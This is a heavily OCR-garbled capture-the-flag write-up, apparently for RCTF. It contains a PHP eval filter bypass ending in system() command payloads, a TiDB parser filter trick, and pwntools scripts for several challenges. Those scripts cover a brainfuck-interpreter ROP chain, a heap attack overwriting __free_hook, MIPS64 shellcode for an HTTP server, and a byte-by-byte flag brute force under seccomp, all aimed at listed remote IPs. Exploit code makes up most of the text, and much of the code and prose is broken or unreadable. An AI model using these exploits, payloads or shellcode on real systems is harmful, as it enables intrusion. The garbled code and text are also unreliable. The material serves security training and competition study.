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fire R %
error_reporting (0 );
if(lisset( $_GET [ 'num' )X
show_source (__FILE_ );
}elsef
$str=9% GET ['num'];
$blacklist = [ '[a-Z]', 'TW7f-\ff]", \s', ™, ™, ™\ L NS, U W W
foreach ( $blacklist as $blackitem ) {
if ( preg_match (/' . $blackitem . /im', $str)) {
die( "what are you want to do?" );
}
}
@eval('echo'. $str. "' );
}
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URLENCODE: %251, URLDECODE: %1
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strings = ['0','1",'2,'3",'4",'5",'6','7",'8','9"'E",'u’, W', }','+",".",'I,'N','F']

input_value ='n'

for s in strings:

for s1 in strings:

data = (chr(ord(s)|ord(s1))).strip()

if data not in strings:

strings.append(data)

if data == input_value:

# print(data)

print('success',s,|',s1)

print(len(strings))

for s in strings:

for s1 in strings:

data = (chr(ord(s)&ord(s1)))

data = data.strip()

if data == input_value:

# print(data)

print(1)

print('success',s,'&',s1)

print(len(strings))

for s in strings:

for s1 in strings:

data = (chr(ord(s)|ord(s1))).strip()

if data not in strings:



strings.append(data)
if data == input_value:
# print(data)
print('success',s,’|',s1)
print(len(strings))

for s in strings:

for s1 in strings:

try:

data = (chr(ord(s)&ord(s1))).strip()
except:

continue

if data not in strings:
strings.append(data)
if data == input_value:
print(data)

# print(data)
print('success',s,|',s1)
for s in strings:

try:

data = chr(~ord(s))
except:

continue

data = data.strip()

if data not in strings:
strings.append(data)
print(data)

if data == input_value:
# print(data)
print('success',s,'|")
input_value ='s'

print(strings)
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((((((2)-(0)){0NI (((999999).(1)){2}))&((((0/0).(0)){THI (((1).(0){0}1))).((((9997999).(1) {0})&(((9997*999).(1)}{1})).
(((((2)-(0){O11(((9997999).(1)}{21))&((((0/0).(0){1HI(((1)-(0)){0})))-(((9997*999).(1){0}).(((999999).(1) {1}).
(((999%999).(1)){2}).((((999999).(1)){0})[ (((999**999).(1)){1})()

55— Ry i () J2 system(/readflag) & B H %
P it system(next(getallheaders()))
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(0/0).(0){1HI(((-2)-(1){ON&(((1)-(0){0}))-((((((999**999).(1){1H&((((-1)-(0){ONI(((0/0). (OLIHNI((((((-1)-(0))
ODI(((0/0).(0){11)&((((1)-(0){O1)I (((9997*999).(1)){2})))))&(((0/0).(0){O1)). ((((((999999).(1){1H&((((-1).(0))
ODI(((O/0).(ON{IINIC(((-1)-(0)HONI(((0/0). () 1H)&((((1)-(0){01)I (((999™999).(1)){2})))))&(((0/0).(0) {0})).
((170).(0){0}&((1/0).(0)){1})-(((((-1)-(0){ONI (((0/0).(0){11))&((((1)-(0)){O})I (((999""999).(1))}{2})))-((((0/O
((-2).(1) {01))-((((070).(O)HO}&(((((-1).(0 )){0})I(((0 0).(ON{1I&((((1)-(0){O)I (((999**999).(
1 ) "999).(1 (

(1 {

(-2)-(1)HON&(((1)-(0)){0})-((((O )
ZM)-((((1)-(OHODI(((0/0).(0){1IE((((1)-(0){ONI(((9997*999).(1)){21)))-(((((1/0).(0)){0}&((1/0).(0) {2
0){ON))-(((((2). ) )-ONIIO);

(
(

1
((
((
((
(( (-1

)
)-(0){1})

/ 1))

) D

(
(
(
(
(
(
(
{
{
(
(
{ 1(((2).
(

XOM))-(((((2)-(0){O1{0})I (((0/0
T3 2 B 75 E AT un g i —

RAGE R

Misc

mysql_interface

fi L K i

2 22tidbl¥)parse

MH AR E I parseid B2, VR 2228 BRI 5 22 0 R ) hicAs 1) L

go mod init test

go get "github.com/pingcap/parser@v3.1.2-0.20200507065358-a5eade012146+incompatible”

go get "github.com/pingcap/tidb/types/parser_driver@v1.1.0-beta.0.20200520024639-0414aa53c912"
package main

import (

-

"github.comv/pingcap/parser" // v3.1.2-0.20200507065358-a5eade012146+incompatible

_ "github.com/pingcap/tidb/types/parser_driver" // v1.1.0-beta.0.20200520024639-0414aa53c912



)
var isForbidden = [256]bool{}

const forbidden = "XOO\C\N\WARF ~! @#$%&*()_=[I{}\\:;\"/?<>,\xa0"
func init() {

fori:=0;i < len(forbidden); i++ {

isForbidden([forbiddenli]] = true

}

}

func allow(payload string) bool {

if len(payload) < 3 || len(payload) > 128 {
fmt.Printin("length”)

return false

}

fori:= 0;i < len(payload); i++ {

/I fmt.Printin(payload]i])

if isForbidden[payload]i]] {
fmt.Printin("isForbidden")

return false

}
}

if _, _, err:= parser.New().Parse(payload, ™, "); err != nil {
fmt.Printin("[*] parser success")

return true

}

fmt.Printin("parser error")

return false

}

func main() {

payload := "select+flag from .flag"

result := allow(payload)

fmt.Printin(result)



}
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import string

from Crypto.Util.number import getPrime as getprime ,long_to_bytes,bytes to long,inverse
from pwn import *

from pwnlib.util.iters import mbruteforce

from hashlib import sha256

#context.log_level = "debug"
#table="zxcvbnmasdfghjklqwertyuiopZXCVBNMASDF GHJKLQWERT YUIOP'
sh=remote("124.156.140.90","2333")

sh.recvuntil("sha256 (XXXX+")

suffix=sh.recv(len('SLhlaef5L6nM6pYX')).decode('utf-8')

sh.recvuntil("==")
cipher=sh.recv(len('3ade7863765f07a3fbb9d853a00ffbe0485c30eb607105196b0d1854718a7b6c')).decode('ut

8')
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sh.recvuntil("Give me XXXX:")

proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters +
string.digits, length=4, method="fixed'")

sh.sendline(proof)
sh.recvuntil("M=")

m = int(sh.recvuntil("\n")[:-1])
sh.recvuntil("want?\n")
sh.sendline("513")

x=[]

r=[]

for _in range(513):



sh.recvuntil("f(")
x.append(int(sh.recvuntil(")")[:-1]))
sh.recvuntil("=")
r.append(int(sh.recvuntil("\n")[:-11))
#sage:

a=[]

foriinx:

b=[]

for j in range(513):
b.append(pow (i, j, m))
a.append(b)

y=ll

foriinr:

y.append(i)
A=Matrix(Zmod(m),a)
Y=vector(y)

X = Asolve_right(Y)
sh.sendline(str(X[0]))
sh.interactive()
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from PwnContext import *

from pwn import *

#context.terminal = ['tmux, 'splitw', '-h"]

context.log_level = 'debug’

s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))

sl = lambda data :ctx.sendline(str(data))



sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))

r = lambda numb=4096 :ctx.recv(numb)

ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)

irt = lambda :ctx.interactive()

rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)

dbg = lambda gs=", **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions

uu32 = lambda data :u32(data.ljust(4, "x00"))

uub4 = lambda data :u64(data.ljust(8, "\x00"))

leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = 'bf

libc=ELF("/lib/x86_64-linux-gnu/libc.s0.6")
ctx.debug_remote_libc = False

local=0

def choice():

if(local):

p=rs()

else:

ctx.remote = ('124.156.135.103',6002)

p=rs(‘remote’)

return p

def debug():

if(local==1):

libc_base = ctx.bases.libc

print hex(libc_base)

ctx.symbols = {'sym1:0x1B1A,'sym2":0x16D8,'sym3".0x1BCB,'sym4":0x1BFE}
ctx.breakpoints = [0x1B1A,0x16D8,0x1BCB,0x1BFE]

ctx.debug()

#

def exp():

payload="-[>+],"



sla("enter your code:\n",payload)
ru(“ing...")

s(p8(0x78))

ru("\x3a\x20")
libc_base=uu64(r(6))-(0x7ffff740db97-0x00007ffff73ec000)
leak("libc_base",libc_base)

if libc_base&O0xff !=0:

raise Exception("no libc_base")
sa("continue",'y")

#pause()

#debug()

#pause()

payload="-[>+],"

sla("enter your code:\n",payload)
ru(“ing...")

s(p8(0x88))

ru("\x3a\x20")

stack=uu64(r(6))
leak("stack_addr",stack)
#pause()

if libc_base>>40 |=0x7f:

raise Exception("no stack")
leak("stack",stack)

#pause()

sa("continue",'y")

payload="-[>]"

sla("enter your code:\n",payload)
ru(“ing...")

for i in range(0x400):
s(p8(0x70))

sa("continue",'y")



rop_addr=stack-0x528
pop_rsp=0x0000000000003960+libc_base
payload="]......]"+p64(pop_rsp)+p64(rop_addr)
sla("enter your code:\n",payload)
sa("continue",'y")
pop_rdi_ret=0x000000000002155f+libc_base
pop_rsi_ret=0x0000000000023e6a+libc_base
pop_rdx_ret=0x0000000000001b96+libc_base
open_addr=libc_base+libc.symbols["open"]
read_addr=libc_base+libc.symbols["read"]
puts_addr=libc_base+libc.symbols["write"]
orw=p64(pop_rdi_ret)+p64(rop_addr+19*8)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)

orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(rop_addr+21*8)+p64(pop_rdx_ret)+p64(0x30)+p64(reac

4 1 | r

orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(rop_addr+21*8)+p64(pop_rdx_ret)+p64(0x100)+p64(pu
3
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payload="-[,>+],"

sla("enter your code:\n",payload)
for i in range(len(orw)):

s(orw(i])

for i in range(0x400-len(orw)+1):
s("\x40')

#debug()

sa("continue",'n")

while(1):

try:

p=choice()

exp()

break

except Exception:

p.close()

irt()
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from pwn import *

prog = "./note'

p = process(prog)

libc = ELF("./libc.s0.6")

p = remote("124.156.135.103", 6004)

def add(idx, size):

p.sendlineafter("Choice: ", '1")
p.sendlineafter("Index: ", str(idx))
p.sendlineafter("Size: ", str(size))

def show(idx):

p.sendlineafter("Choice: ", '3")
p.sendlineafter("Index: ", str(idx))

def edit(idx, content):

p.sendlineafter("Choice: ", '4")
p.sendlineafter("Index: ", str(idx))
p.sendlineafter("Message: \n", content)

def free(idx):

p.sendlineafter("Choice: ", '2)
p.sendlineafter("Index: ", str(idx))

def exp():

add(o, 1)

show(-5)

p.recv(0x18)

libc.address = u64(p.recv(6)+"x002)-0x00007fe3dafa1760+0x7fe3dadbc000
log.info("libc.address ==> " + hex(libc.address))
edit(-5, p64(libc.sym['__free _hook'])+p64(8))
edit(-5, p64(libc.address+0x106ef8))

free(0)



p.interactive()

if _name__=='_main

exp()

mginx

firt R B i
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$ checksec ./mginx

['1 Did not find any GOT entries

[*] "home/kirin/xctf/mnigx/mginX

Arch: mips64-64-big

RELRO: No RELRO

Stack: No canary found

NX: NX disabled

PIE: No PIE (0x120000000)

RWX: Has RWX segments
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.text:0000000120001B00 dli $v0, 0x120000000 # Doubleword Load Immediate
.text:0000000120001B04 daddiu $a1, $v0, (asc_1200021E0 - 0x120000000) # "\r\n\r\n"
.text:0000000120001B08 Id $a0, 0x10C0+haystack($fp) # haystack
.text:0000000120001B0OC dla $vO0, strstr # Load 64-bit address
.text:0000000120001B10 move $t9, $v0

.text:0000000120001B14 jalr $t9 ; strstr # Jump And Link Register
.text:0000000120001B18 nop

.text:0000000120001B1C sd $v0, 0x10CO+var_10A0($fp) # Store Doubleword
.text:0000000120001B20 Id $v0, 0x10CO+var_10A0($fp) # Load Doubleword
.text:0000000120001B24 beqz $v0, loc_120001C70 # Branch on Zero
.text:0000000120001B28 nop

.text:0000000120001B2C Id $v0, 0x10C0+var_10A0($fp) # Load Doubleword

.text:0000000120001B30 daddiu $v0, 4 # Doubleword Add Immediate Unsigned



.text:0000000120001B34 sd $v0, 0x10CO+var_10A0($fp) # Store Doubleword
.text:0000000120001B38 Id $v0, 0x10CO+var_10A0($fp) # Load Doubleword
.text:0000000120001B3C sd $v0, 0x10CO+var_1070($fp) # Store Doubleword
.text:0000000120001B40 Iw $v1, 0x10C0+var_10A8($fp) # Load Word

.text:0000000120001B44 daddiu $a0, $fp, 0x10C0+var_1038 # Doubleword Add Immediate Unsigned
.text:0000000120001B48 Id $v0, 0x10CO+var_10A0($fp) # Load Doubleword
.text:0000000120001B4C dsubu $v0, $a0 # Doubleword Subtract Unsigned
.text:0000000120001B50 sl $v0, 0 # Shift Left Logical

.text:0000000120001B54 subu $v0, $v1, $v0 # Subtract Unsigned

.text:0000000120001B58 move $v1, $v0

.text:0000000120001B5C Iw $v0, 0x10CO+var_1068($fp) # Load Word

.text:0000000120001B60 addu $v0, $v1, $v0 # Add Unsigned

.text:0000000120001B64 sw $v0, 0x10C0+var_10B8($fp) # Store Word

.text:0000000120001B68 daddiu $v1, $fp, 0x10CO+var_1038 # Doubleword Add Immediate Unsigned
.text:0000000120001B6C Iw $v0, 0x10C0+var_10A8($fp) # Load Word

.text:0000000120001B70 daddu $v0, $v1, $v0 # Doubleword Add Unsigned
.text:0000000120001B74 sd $v0, 0x10CO+buf($fp) # Store Doubleword

.text:0000000120001B78 b loc_120001BDO0 # Branch Always

.text:0000000120001B7C nop

.text:0000000120001B80 #

.text:0000000120001B80

.text:0000000120001B80 loc_120001B80: # CODE XREF: main+4A0|j
.text:0000000120001B80 Iw $v0, 0x10C0+var_10B8($fp) # Load Word
.text:0000000120001B84 move $a2, $v0 # nbytes
.text:0000000120001B88 Id $a1, 0x10C0+buf($fp) # buf
.text:0000000120001B8C move $a0, $zero # fd
.text:0000000120001B90 dla $v0, read # Load 64-bit address
.text:0000000120001B94 move $t9, $v0

.text:0000000120001B98 jalr $t9 ; read # Jump And Link Register
.text:0000000120001B9C nop

.text:0000000120001BAO0 sw $v0, 0x10CO+var_1094($fp) # Store Word



.text:0000000120001BA4 Iw $v0, 0x10CO+var_1094($fp) # Load Word
.text:0000000120001BA8 blez $v0, loc_120001BE4 # Branch on Less Than or Equal to Zero
.text:0000000120001BAC nop

.text:0000000120001BBO Iw $v0, 0x10CO+var_10B8($fp) # Load Word
.text:0000000120001BB4 Id $v1, 0x10CO+buf($fp) # Load Doubleword
.text:0000000120001BB8 daddu $v0, $v1, $v0 # Doubleword Add Unsigned
.text:0000000120001BBC sd $v0, 0x10C0+buf($fp) # Store Doubleword
.text:0000000120001BCO Iw $v1, 0x10CO+var_10B8($fp) # Load Word
.text:0000000120001BC4 Iw $v0, 0x10CO+var_1094($fp) # Load Word
.text:0000000120001BC8 subu $v0, $v1, $v0 # Subtract Unsigned
.text:0000000120001BCC sw $v0, 0x10CO+var_10B8($fp) # Store Word
.text:0000000120001BDO

.text:0000000120001BDO0 loc_120001BDO0: # CODE XREF: main+4441)
.text:0000000120001BDO Iw $v0, 0x10C0+var_10B8($fp) # Load Word
.text:0000000120001BD4 bnez $v0, loc_120001B80 # Branch on Not Zero
.text:0000000120001BD8 nop

.text:0000000120001BDC b loc_120001BES8 # Branch Always
.text:0000000120001BEO nop

FHflpayload: "GET /flag \r\nConnection: keep-alie\r\nContent-Length: 1000\r\n\r\n"+"a"*0x9b0
FEFP A FFBNXGRY, H2mipsifa R ljmp rspiifE

BTk Bldatal, 1M 5 F O B AT

(X Horwl¥ishellcode, FEf ik F|&iEMas, A 1R E, B0 S H Felf KAl gm B R, A
K H uclibe 5 2 s syscallz %1, A\ T#1F K iorz)

from pwn import *

import sys

context.log_level="debug"

context.endian="big"

if len(sys.argv)==1:
p=process(["qemu-mips64","-g","1234","-L","./","./mginx"])
time.sleep(3)

elif len(sys.argv)==2:



p=process(["gemu-mips64","-L","./","./mginx"])
else:

p=remote("124.156.129.96",8888)
payload1="GET /flag \\nConnection: keep-alie\r\nContent-Length: 1000\r\n\r\n"+"a"*0x9b1
#payload1=payload1.ljust(0x1000,"a")
p.send(payload1)

ra=0x1200018C4

fp=0x120012540

gp=0x12001a250
payload="b"*(0x654-0x20)+p64(gp)+p64(fp)+p64(ra)+"d"*8
payload=payload.ljust(0xd98,"b")
p.sendline(payload)

#p.interactive()

p.recvuntil("404 Not Found :(")
#time.sleep(2)

p.sendline(payload1)

ra=0x120013608

#open

shellcode="\xc8\xff\xa4\x67"[::-1]
shellcode+="\xf\xf\x05\x28"[::-1]
shellcode+="\xf\xf\x06\x28"[::-1]
shellcode+="\x8a\x13\x02\x24"[::-1]
shellcode+="\x0c\x00\x00\x00"[::-1]

#read

shellcode+="\x00\x40\x20\x25"#a0
shellcode+="\xcO\xff\xa5\x67"[::- 1]#buf
shellcode+="\x24\x06\x00\x28"#size
shellcode+="\x88\x13\x02\x24"[::-1]
shellcode+="\x0c\x00\x00\x00"[::-1]

#write

shellcode+="\x24\x04\x00\x01"#a0



shellcode+="\xcO\xf\xa5\x67"[::-1]J#buf
shellcode+="\x24\x06\x00\x28"#size
shellcode+="\x89\x13\x02\x24"[::-1]
shellcode+="\x0c\x00\x00\x00"[::-1]
f="/flag"

payload="b"*(0x653-0x40)+f+"\x00"(0x28-len(f))+p64(fp)+p64(ra)+"d"*8+shellcode+"a"*(0xd99-0x654-
len(shellcode))

p.sendline(payload)

p.sendline()

p.interactive()

no write

fige R %

$ checksec ./no_write

[*] Yhome/kirin/xctf/no_write/no_write'
Arch: amd64-64-little

RELRO: Full RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x400000)

PR Hlpretdt i 1048, b Aa R .

$ seccomp-tools dump ./no_write line CODE JT JF K================================= 0000: 0x20
0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A '= ARCH_X86_64) goto 0010 0002:
0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto
0010 0004: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0009 0005: 0x15 0x03 0x00 0x00000000 if (A==
read) goto 0009 0006: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0009 0007: 0x15 0x01 0x00 0x000000e7
if (A == exit_group) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL 0009: 0x06 0x00 0x00 0x7fff0000
return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL

HEE#E4Topen read Flexit

oA leak, FrLLE Je B a2 TR, HEnE %S Hleave retif A RIH]
RoAX B syscall, BT LAAR M AER B~ — 4 syscall

W5 R IR # I rex=liberfread bk f i — /> Hiik -



.text:000000000011007F syscall ; LINUX - sys_read.text:0000000000110081 cmp rax,
OFFFFFFFFFFFFFOO0ON.text:0000000000110087 ja short loc_1100EOQ.text:0000000000110089 rep
retn.text:0000000000110090 loc_110090: ; CODE XREF: read+B1j.text:0000000000110090 push
r12.text:0000000000110092 push rbp.text:0000000000110093 mov r12, rdx.text:0000000000110096 push
rbx.text:0000000000110097 mov rbp, rsi.text:000000000011009A mov ebx, edi.text:000000000011009C sub
rsp, 10h.text:00000000001100AQ call sub_1306EQ.text:00000000001100A5 mov rdx, r12 ;
count.text:00000000001100A8 mov r8d, eax.text:00000000001100AB mov rsi, rbp ;
buf.text:00000000001100AE mov edi, ebx ; fd.text:00000000001100B0 xor eax, eax.text:00000000001100B2
syscall

fm#%: 0x1100814 &
B 4 4 AT syscallhl, 7 LUAE 2 20 B2 I 8 i starte libe_start_mainofe e 1 o i it syscall b

A3 — K. libc_start_mainiZ4f: 7£EHHATOX11008147 B J5, £ Ef%retAlibc_start_mainds & " main s
BHhk, iXmHErbp=rcx, push A

ERR B N —A syscallff s ik 5 (read BT ffsyscall 7] LA Alret, 7% crash), R EZIRE, #if—2%rop
B, bR, BT Lsidlopen(”./flag");read(fd,flag_addr,len);

flagit NdataBt /5, BOMEA S, BrAZE S — % CAtbk i ompifi a kR SEILHI, —— B 2 e fEik$E:
.text:0000000000400750 loc_400750: ; CODE XREF: __libc_csu_init+54|j
.text:0000000000400750 mov rdx, r15

.text:0000000000400753 mov rsi, r14

.text:0000000000400756 mov edi, r13d

.text:0000000000400759 call gword ptr [r12+rbx*8]
.text:000000000040075D add rbx, 1

.text:0000000000400761 cmp rbp, rbx

.text:0000000000400764 jnz short loc_400750

.text:0000000000400766

.text:0000000000400766 loc_400766: ; CODE XREF: __libc_csu_init+341j
.text:0000000000400766 add rsp, 8

.text:000000000040076A pop rbx

.text:000000000040076B pop rbp

.text:000000000040076C pop r12

.text:000000000040076E pop r13

.text:0000000000400770 pop r14

.text:0000000000400772 pop r15

.text:0000000000400774 retn



R itflagiftfe &idahi &, 751 .text:0000000000400766H {5 it if LA il-flagH i —fipop N 27 f£-4%, 1M J& Firet

HHE T B rbp Frbx B FIWiflag:  rbxiEflag e i —fr (LA A2 78 i 00535 5t v] LLSE I —fz—{zpop), M5
Erbp e, X REHER, A S4k8E FiHffret, TErethi B Eread, AT LU HI W7 75 FH 28 Sk Rk
(VA

Bl B2, rbp=0, XFERSEINZEEFIR, XEEbXARFEME, EEAREMr12, 2r12+rbx*8f;
BAb Areadmf K ABHZE, W FEBEAEREN BE A Ureadfiihl, r12 AKEI/N, 25—k K AreadfH %
IF, r12+rbx*8xft e TN — Mk, r120%0, BEET LA Hirbx

SRS LIS (B % S U 5e A I 2 R FEHA, @8 eurrent(d (flag A flindex), — v — {0 R AT :
from pwn import *

import time

context.log_level="debug"

#p=process("./no_write")

current=4

for i in range(32,127):

print i

try:

p=remote("129.211.134.166",6000)
payload1="a"*0x10+p64(0x601f00)+p64(0x04006F5)
time.sleep(0.5)

p.send(payload1)

payload2="a"0x10+p64(0x601f00)+p64(0x0400773)+p64(0x4006bf)+p64(0x400771)+p64(0x601e70)+p64(0)+
F

4| 1 |

time.sleep(0.5)

p.send(payload?2)

payload3=(p64(0x400772)+p64(0))*6+p64(0x04004f0)

time.sleep(0.5)

p.send(payload3)
payload4=p64(0)*5+p64(0x400773)+p64(3)+p64(0x400771)+p64(0x601d00-current)+p64(0)
payload4+=p64(0x4004f0)+p64(0x400773)+p64(0)
payload4+=p64(0x400771)+p64(0x601e40)+p64(0)+p64(0x4004f0)
payload4+=p64(0x400771)+p64(0x601e00)+p64(0)+p64(0x4004f0)
payload4+=p64(0x40076d)+p64(0x601e28)+"./flag"

f_addr=0x601f28



rop=p64(0x0400773)+p64(f_addr)+p64(0x400771)+p64(0)+p64(0)+"\xb2"
time.sleep(0.5)

p.send(payload4)

time.sleep(0.5)

p.send(rop)

time.sleep(0.5)

p.send("aa")
payload5=p64(0x400771)+p64(0x601d01)+p64(0)+p64(0x4004f0)
payload5+=p64(0x400771)+p64(0x601cf8)+p64(0)+p64(0x4004f0)
payload5+=p64(0x40076d)+p64(0x601ce0)+p64(0)*13
payload5+=p64(0x40076d)+p64(0x601e28)

time.sleep(0.5)

p.send(payload5)

r12=0

bp=i
payload6="\x00"*7+p64(bp)+p64(r12)+p64(0)+p64(0x601f00)+p64(0x100)+p64(0x400761)
payload6+=p64(0)*7+p64(0x4004f0)+p64(0x4004f0)
time.sleep(0.5)

p.send(payload6)

#gdb.attach(p)

time.sleep(0.5)

p.send(p64(0x40076A))

print "current”,chr(i)

p.recvall()

break

except:

print “fail"

Reverse

go-flag

fie 7L AL i

go Z 4 f%



KIEFOHIA AT, fun1@ie, (ERANEIE AR5
X B AR A2 4T T brainfuck (AT i FE AR .

main_main_fun1/E I LLECA &, w2 24N, R T runtime_chansend, T8 iz B ACCE 0 SR h 241 11
runtime_chanrecy, 1E3e L3I FI3E T 24 ML B S D), A0 A TERH AT B B8, YR IRV ED
R IR 15 TR R T IRMETE )

4BB29D 88 14 OE mov [rsi+rcx], dI

DU T i R B R 21244k, dIREARIANTAF, [rsitrex-1]5t 2 TEFR 4.
.text:00000000004BB29D main_main_func446 mov [rsi+rcx], dl
.text:00000000004C02BD main_main_func542 mov [rsi+rcx], dl
.text:00000000004C53BD main_main_func639 mov [rsi+rcx], dl
.text:00000000004CA2FD main_main_func734 mov [rsi+rcx], dl
.text:00000000004CF85D main_main_func836 mov [rsi+rcx], dl
.text:00000000004D4BFD main_main_func936 mov [rsi+rcx], dI
.text:00000000004D9F9D main_main_func1036 mov [rsi+rcx], dl
.text:00000000004DF4FD main_main_func1138 mov [rsi+rcx], di
.text:00000000004E47BD main_main_func1237 mov [rsi+rcx], dl
.text:00000000004E9D1D main_main_func1339 mov [rsi+rcx], di
.text:00000000004EEC5D main_main_func1434 mov [rsi+rcx], dl
.text:00000000004F3FFD main_main_func1534 mov [rsi+rcx], dl
.text:00000000004F92BD main_main_func1633 mov [rsi+rcx], dl
.text:00000000004FE81D main_main_func1735 mov [rsi+rcx], dl
.text:0000000000503BBD main_main_func1835 mov [rsi+rcx], dl
.text:00000000005091FD main_main_func1938 mov [rsi+rcx], dl
.text:000000000050E75D main_main_func2040 mov [rsi+rcx], dl
.text:0000000000513AFD main_main_func2140 mov [rsi+rcx], dI
.text:000000000051905D main_main_func2242 mov [rsi+rcx], dI
.text:000000000051E5BD main_main_func2344 mov [rsi+rcx], dl
.text:0000000000523B1D main_main_func2446 mov [rsi+rcx], dI
.text:0000000000528DDD main_main_func2545 mov [rsi+rcx], dl
.text:000000000052DFBD main_main_func2643 mov [rsi+rcx], dl
.text:00000000005336DD main_main_func2747 mov [rsi+rcx], dI

THESAAT W, il dUEEIAT.



cipher
fie R REL i
AH SR

0x2A, 0x00, OxF8, 0x2B, OxE1, 0x1D, 0x77, 0xC1, OxC3, 0xB1, 0x71, OxFC, 0x23, 0xD5, 0x91, 0xF4, 0x30,
OxF1, OX1E, Ox8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, O0xAB, 0x77, 0x42, Ox2F, OxEB, 0x75, OxE1, 0x5D,
0x76, 0xFO, 0x46, Ox6E, 0x98, 0xB9, 0xB6, 0x51, OxFD, 0xBS, 0x5D, 0x77, 0x36, OxF2, 0x0A

T—I1Emips64f @ H, FEida7.54 X Frmipsf4ai¥, FrLl R fg fghidra .
main x4

cipher & S iR L

#®E—"encrypt

FkangriEnl, TR /N PR R R ok, 1EAE el ) AR
def ror(v,n):

return ((v >> n) | (v << (64-n)))&Oxfffffffffffef

def encrypt(a,b,c,d ):

b = (ror(b,8) + a " c)&OXfffffffffffffff

a=ror(a,61)"b

for i in range(0x1f):

d = (ror(d,8) + ¢ " i)&OXffffffffffeff

c =ror(c,61) *d

b = (ror(b,8) + a " c)&Oxfffffffffffffff

a=ror(a,61)"*b

return a,b

def decrypt(a,b,c,d):

key = [d,c]

for i in range(0x1f):

key.append((ror(key[2*i],8) + key[2*i+1] " i) &OXTFfFFFffff )
key.append(ror(key[2¥i+1],61) * key[2*i+2])

for i in range(0Ox1f,-1,-1):

a = ror(a™,3)

b = ror(((b*key[2*i+1])-a)&OXffffffffffffff, 56

return a,b

def crack():



check = [0x2A, 0x00, 0xF8, 0x2B, OxE1, Ox1D, 0x77, OxC1, OxC3, 0xB1, 0x71, OxFC, 0x23, OxD5, 0x91, OxF4,
0x30, OxF1, OX1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, OxAB, 0x77, 0x42, 0xX2F, OXEB, 0x75, OxE1,
0x5D, 0x76, OxFO, 0x46, Ox6E, 0x98, 0xB9, 0xB6, 0x51, OxFD, 0xB5, 0x5D, 0x77, 0x36, OxF2]

check = struct.unpack(>'+'Q"6,".join(map(chr,check)))
for i in range(0x10000):

c=i

d=0

c,d = struct.unpack('QQ',struct.pack(>QQ',c,d))
r1,r2 = decrypt(check[0],check[1],c,d)

tmp1 = struct.pack(>Q',r1)

# tmp2 = struct.pack(>Q',r2)

if ' RCTF{ in tmp1:

print i,tmp1

break

def de_flag():

check = [0x2A, 0x00, OxF8, 0x2B, OxE1, Ox1D, 0x77, 0xC1, OxC3, 0xB1, 0x71, OxFC, 0x23, 0xD5, 0x91, OxF4,
0x30, OxF1, Ox1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, OxAB, 0x77, 0x42, 0x2F, OXEB, 0x75, OxE1,
0x5D, 0x76, OxFO, 0x46, Ox6E, 0x98, 0xB9, 0xB6, 0x51, OxFD, 0xB5, 0x5D, 0x77, 0x36, OxF2]

check = struct.unpack(>'+'Q"6,".join(map(chr,check)))
flag="

for i in range(len(check)/2):

c,d = struct.unpack('QQ',struct.pack(>QQ',4980,0))
r1,r2 = decrypt(check[2*i],check[2*i+1],c,d)

flag += struct.pack(>Q',r1)

flag += struct.pack(>Q',r2)

print flag

def main():

crack()

de_flag()

end

BN
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